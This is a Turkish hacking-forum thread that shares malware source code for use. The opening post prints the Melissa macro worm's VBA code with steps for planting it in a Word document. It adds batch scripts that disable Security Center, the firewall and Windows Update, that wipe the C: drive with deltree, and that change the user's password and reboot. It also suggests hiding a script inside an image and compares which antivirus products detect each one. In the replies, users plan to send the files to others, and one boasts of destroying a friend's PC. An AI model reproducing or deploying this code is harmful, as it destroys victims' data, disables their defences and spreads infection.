İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

En Tehlikeli Virüs Kodları//CoLTFeeT06

08-03-2012 00:26
#1
CoLTFeeT06 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2011
Nereden:
ANKARA
Yaş:
26
Mesajlar:
1.648
Teşekkür (Etti):
96
Teşekkür (Aldı):
383
Konular:
247
En Tehlikeli Virüs Kodları

--------------------------------------------------------------------------------

Daha önce verildimi bilmem ama ben koyuyorum


2 sene önce dünya bilgisayar piyasasını altüst eden bir virüs.
Yapımı:
Bir Microsft Word belgesi açyoruz.Daha sonra yeni belge açıp Alt + f11'e basarak Microsoft Visual Basic'i açıyoruz

Project 1 / Microsoft Word objects / This ******** seklinde 3 lü bir seçim geliyor karşımıza...
This ********i seçmeliyiz bu aşamada. Seçimi yaptıktan sonra asagıda verilmış olan Melısssa kodlarını yapıştırıyoruz ve kaydediyoruz bu belgeyi.
Melissa Visuel Basic virüsüdür. .Exe olamaması bunu inandırma oranını 100 de 100 arttırr .
Fakat panda,norton,mcafee,mks virüs olarak buluyor ancak kaspersky(5.0) ve avast(4.7) tanımıyor tabi avg eksik kalıyor bu konuda.
Not: Çalışıyor. Denendi.
Melıssa Kodları:

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


2.Virüs



KOD:


@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0



Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin
Herhangi bir resim ile birleştirmek isterseniz ;

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.

Not: Kaspersky , Norton , NOD32 , Avast gibi anti virüslere yakalanmaktadır.



3. Virüs
__________________________________________________ __________

@echo off
C:\WINDOWS\COMMAND\deltree /y......
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls

Uzantı: .bat
__________________________________________________ __________
4.Virüs
__________________________________________________ __________
Kodlar:
net user %username% 753951456852
shutdown -r

Uzantı: .bat
Bunu Yaptıktan Sonra Sakın Kendi Bilgisayarınızdan Açmayın Gümletirsiniz


Sorumluluk bana ve turkhackteam.net ait deyildir


CoLTFeeT06
Konu CoLTFeeT06 tarafından (09-03-2012 20:31 Saat 20:31 ) değiştirilmiştir.
ByGaraOglan, Monte Kristo Kontu Teşekkür etti.

08-09-2012 21:53
#2
sagopakaj - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2012
Mesajlar:
251
Teşekkür (Etti):
54
Teşekkür (Aldı):
10
Konular:
36
işe yararmı?
09-09-2012 08:20
#3
Üyelik tarihi:
02/2012
Mesajlar:
85
Teşekkür (Etti):
4
Teşekkür (Aldı):
5
Konular:
3
teşekkürler
Kullanıcı İmzası
Dün ile bugün arasında bir kavga çıkarsa yarını kaybederiz -Winston Churchill
11-09-2012 11:37
#4
qweasd4848 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Mesajlar:
3
Teşekkür (Etti):
3
Teşekkür (Aldı):
0
Konular:
0
Şİmdi ben not defteri ile olanı yaptım masaüstüne kaydettim asfasdf.bat diye sonra bunu faceden atsam o da açsa gidicek mi pc'ci ?
11-09-2012 14:41
#5
METEOUR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
71
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
4
Melissa mı en iyisi diyorsun.CIH dene(Piyasada orjinal CIH bulamazsın.)
Kullanıcı İmzası
''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
12-09-2012 13:01
#6
Barankinq - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Mesajlar:
5
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
1
Owww shut taktiğini denicem . Pc yi kapatır ona tklayınca demi?
13-09-2012 13:41
#7
GaziantepLi27 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
09/2012
Mesajlar:
132
Teşekkür (Etti):
1
Teşekkür (Aldı):
3
Konular:
8
Ben Monitör patlatma uzantısını Bi arkadaşa attım Pc gümledi amk
semih90 Teşekkür etti.
13-09-2012 17:10
#8
semih90 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Mesajlar:
2
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
0
slm arkadaşlar ben yeniyim paylaşımın güzel olmuş eline beynine sağlık
15-09-2012 13:42
#9
loost123 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2012
Nereden:
Frankurt
Mesajlar:
975
Teşekkür (Etti):
26
Teşekkür (Aldı):
44
Konular:
127
sonunda yaptıgı seyde shut down-r ya direk delete :c yapıp sonra shut yapsan cokmu bişe değişiyor
15-09-2012 13:47
#10
Üyelik tarihi:
09/2012
Nereden:
Batman
Mesajlar:
509
Teşekkür (Etti):
3
Teşekkür (Aldı):
62
Konular:
17
Teşekkürler Mutlaka Denıyecem Birtanesini D:
Kullanıcı İmzası
Aklınla her yerde olursun, ama bedeninle sadece olduğun yerde varsın

















İlk Önce Aklını Geliştir Sonra Beni Eleştir... "Furkan"
SquadHacker Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı